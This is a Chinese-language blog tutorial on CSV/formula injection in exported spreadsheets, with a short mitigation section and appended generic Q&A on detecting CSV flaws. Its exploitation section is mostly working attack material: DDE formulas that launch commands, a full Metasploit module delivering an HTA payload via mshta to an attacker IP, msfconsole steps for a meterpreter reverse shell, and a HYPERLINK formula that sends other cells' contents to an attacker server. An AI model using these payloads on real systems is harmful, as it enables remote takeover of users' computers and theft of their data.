CSV注入漏洞原理及利用教程

漏洞介绍

  CSV注入(CSV Injection)漏洞通常会出现在有导出文件(.csv/.xls)功能的网站中。当导出的文件内容可控时,攻击者通常将恶意负载(公式)注入到输入字段中,用户导出文件打开后,EXCEL会调用本身的动态功能,执行攻击者的恶意代码,从而控制用户计算机。

漏洞原理

创建一个xls文件,在单元格中输入=1+1,回车后可以看到值变成了2,说明加号被当做运算执行了。
在这里插入图片描述
在这里插入图片描述
当然,不止是+号能执行运算,=、-、@这样的符号也会被excel解析为公式。

DDE(Dynamic Data Exchange)

  DDE是Windows下进程间通信协议,是一种动态数据交换机制,使用DDE通讯需要两个Windows应用程序,其中一个作为服务器处理信息,另外一个作为客户机从服务器获得信息。DDE支持Microsoft Excel,LibreOffice和Apache OpenOffice。 Excel、Word、Rtf、Outlook都 可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含DDE公式的CSV文件,那么在打开该文件时,Excel就会尝试执行外部应用。

调用DDE需要在文件->选项->信任中心->信任中心设置->外部内容中开启:
在这里插入图片描述
默认不勾选‘启用动态数据交换服务器启动(不推荐)’即可防止DDE启动外部应用。较老的版本如office 2016 MSO(16.0.4266.1001)无该选项,因此无法禁止执行外部程序。


漏洞演示

在单元格中输入=1*cmd|' /C calc'!A0,此时你会发现两个弹窗:

在这里插入图片描述
在这里插入图片描述
当不注意的情况下,疯狂点,那么此时就会执行一个系统命令,弹出了计算器。

在这里插入图片描述

漏洞利用

访问恶意网站(钓鱼)

=HYPERLINK("http://baidu.com","还记得我吗老baby?我想你了!!!")

在这里插入图片描述
用户点击链接时,系统会调用浏览器访问这个网站。

这个有点鸡助,需要受害者手动点击链接。但这个公式不会触发警告。

当然,也可以配合IE浏览器漏洞,Flash等漏洞配合获取shell

CVE-2018-8174
CVE-2018-4878

反弹shell

攻击机:kali
目标机:windows 10

没有搭建网页漏洞模板,我们就直接制作好Excel到目标机执行即可。

kali操作:

复制以下ruby代码到/usr/share/metasploit-framework/modules/exploits/windows/smb/msh_shell.rb目录

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
  
  
class MetasploitModule  < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::HttpServer
  
  def initialize(info  = {})
    super(update_info(info,
      'Name' => 'Microsoft Office Payload Delivery',
      'Description' => %q{
        This module generates an command to place within
        a word document, that when executed, will retrieve a HTA payload
        via HTTP from an web server. Currently have not figured out how
        to generate a doc.
      },
      'License' => MSF_LICENSE,
      'Arch' => ARCH_X86,
      'Platform' => 'win',
      'Targets' =>
        [
          ['Automatic', {} ],
        ],
      'DefaultTarget' => 0,
    ))
  end
  
  def on_request_uri(cli, _request)
    print_status("Delivering payload")
    p = regenerate_payload(cli)
    data = Msf::Util::EXE.to_executable_fmt(
      framework,
      ARCH_X86,
      'win',
      p.encoded,
      'hta-psh',
      { :arch => ARCH_X86, :platform => 'win '}
    )
    send_response(cli, data, 'Content-Type' => 'application/hta')
  end
  
  
  def primer
    url = get_uri
    print_status("Place the following DDE in an MS document:")
    print_line("mshta.exe \"#{url}\"")
  end
end

打开pg数据库:

service postgresql start

启动msf:

msfconsole

msfconsole操作:

#重置数据库
reload_all

#查询新建msh_shell模块
search msh_shell

#加载 msh_shell模块
use exploit/windows/smb/msh_shell

#设置监听payload,设置ip等
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.206.128
set uripath csv
exploit

新建一个Excel 表格,将以下payload插入单元格:

+1+cmd|'/c mshta.exe http://192.168.206.128:8080/csv'!A0

在这里插入图片描述上传到windows10上,然后打开,当用户疯狂点后,我们的目标机就上线了
在这里插入图片描述
msf获取shell权限:

sessions -l
sessions -i 1

shell

在这里插入图片描述

窃取其他单元格信息

攻击机开启web日志功能:

这里以tomcat日志为例子,编辑conf下的server.xml文件,将以下内容取消注释
在这里插入图片描述
在Excel 注入以下内容
payload:

=HYPERLINK("http://192.168.206.130:8080/"&D2&D3,"Error: Please click me!")

在这里插入图片描述当用户导出报表后,不小心点击了某个单元格的内容,会导致D2,D3单元格内容泄露。
在这里插入图片描述
查看tomcat的web日志:

在这里插入图片描述

实战漏洞复现

CVE-2018-10504
CVE-2019-15092

防御措施

这种攻击很难缓解,并且从许多漏洞赏金计划中都明确禁止了这种攻击。要对其进行修复,请确保没有任何单元格以下列任何字符开头:

等于(“ =”)
加号(“ +”)
减号(“-”)
在 (”@”)
开发人员可以在包含此类字符的单元格的开头添加撇号(’)。添加撇号(’)会告诉excel该单元格不包含公式,并且在查看MS Excel时,在单元格中作为第一个字符输入时不会显示撇号(’)。

参考链接

https://www.freebuf.com/vuls/195656.html

https://blog.csdn.net/qq_34304003/article/details/87635582

https://www.veracode.com/blog/secure-development/data-extraction-command-execution-csv-injection

https://www.anquanke.com/post/id/84497

http://kuaiyaojinga.com/110057477

https://www.anquanke.com/post/id/89972

https://xz.aliyun.com/t/4124

https://galaxylab.com.cn/formula-injection-%E5%85%AC%E5%BC%8F%E6%B3%A8%E5%85%A5/

  • 9
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
### 回答1: CSV漏洞是指在使用CSV文件进行数据交换时,由于CSV文件中的数据格式不规范或者存在特殊字符等问题,导致数据被篡改或者泄露的安全漏洞。排查CSV漏洞的方法包括:1.检查CSV文件中的数据格式是否规范;2.检查CSV文件中是否存在特殊字符;3.检查CSV文件的读写权限是否正确;4.使用安全的CSV文件处理工具进行数据交换。 ### 回答2: CSV(逗号分隔值)是一种常用的文件格式,广泛用于数据的存储和传输。然而,由于CSV文件的特殊构造,会导致一些安全问题,比如CSV注入漏洞。下面是排查CSV漏洞的一些方法: 1. 验证数据源:检查CSV文件的来源和可信度。确保数据源是可靠的,避免下载并使用不明来源的CSV文件。 2. 检查内容:审查CSV文件中的数据内容,特别是包含用户输入的字段。查看是否存在特殊字符、命令注入等恶意内容。 3. 输入验证:对CSV文件中的输入数据进行验证和过滤,确保输入的数据符合预期的格式和要求。比如对数字字段进行数字验证,对字符串字段进行长度限制等。 4. 使用安全的CSV解析器:选择使用正规的、经过安全测试的CSV解析器。避免使用自行编写的、未经安全验证的解析器,以减少CSV注入漏洞的风险。 5. 限制文件读取权限:确保CSV文件的访问权限适当,只有需要读取该文件的用户或程序才能访问。避免将CSV文件暴露在公开可访问的位置。 6. 数据备份与恢复:定期备份CSV文件,并测试从备份中恢复数据的过程。以便在发现漏洞或数据受损时能够快速恢复数据。 7. 进行安全测试:运行安全性测试工具来扫描和识别CSV文件中的潜在漏洞。这可以帮助发现隐藏的安全问题,并及时修复。 综上所述,通过验证数据源、审查内容、输入验证、使用安全的CSV解析器、限制文件读取权限、定期备份与恢复数据以及进行安全测试,可以有效排查和防范CSV漏洞的存在。 ### 回答3: CSV漏洞是指在使用CSV文件(逗号分隔值)时,可能存在的一些安全隐患。要排查是否存在CSV漏洞,可以采取以下步骤: 1. 审查输入源:检查CSV文件的来源,确保它来自可信任的来源。如果来自外部或不可信任的来源,应增加对其内容的警惕。 2. 校验文件格式:检查CSV文件的格式是否正确,包括文件头、列数和数据行的格式。确保数据行没有特殊字符或不符合预期的格式。 3. 防止注入攻击:CSV漏洞中的一种常见情况是注入攻击。要防止注入攻击,可以对输入进行验证和过滤,确保输入数据只包含预期的内容。 4. 限制数据访问权限:限制对CSV文件的访问权限,只有必要的人员能够访问、修改或上传CSV文件。确保文件仅供授权人员使用。 5. 增加访问日志:通过记录CSV文件的访问日志,可以跟踪谁访问了该文件,并对异常行为进行监控和审计。 6. 定期更新文件:定期更新CSV文件,删除不再需要的数据行,以避免过多数据暴露在外。 7. 安全审计:对系统和网络进行安全审计,发现和修复任何存在的漏洞和弱点,以防止CSV文件被滥用。 8. 员工培训:对相关员工进行安全培训,教育他们如何正确处理CSV文件,避免操作上的疏忽或不当处理敏感数据。 综上所述,通过审查输入源、校验文件格式、防止注入攻击、限制访问权限、增加访问日志、定期更新文件、进行安全审计和员工培训等方法,可以帮助排查并减少CSV漏洞带来的风险。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

凝聚力安全团队

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值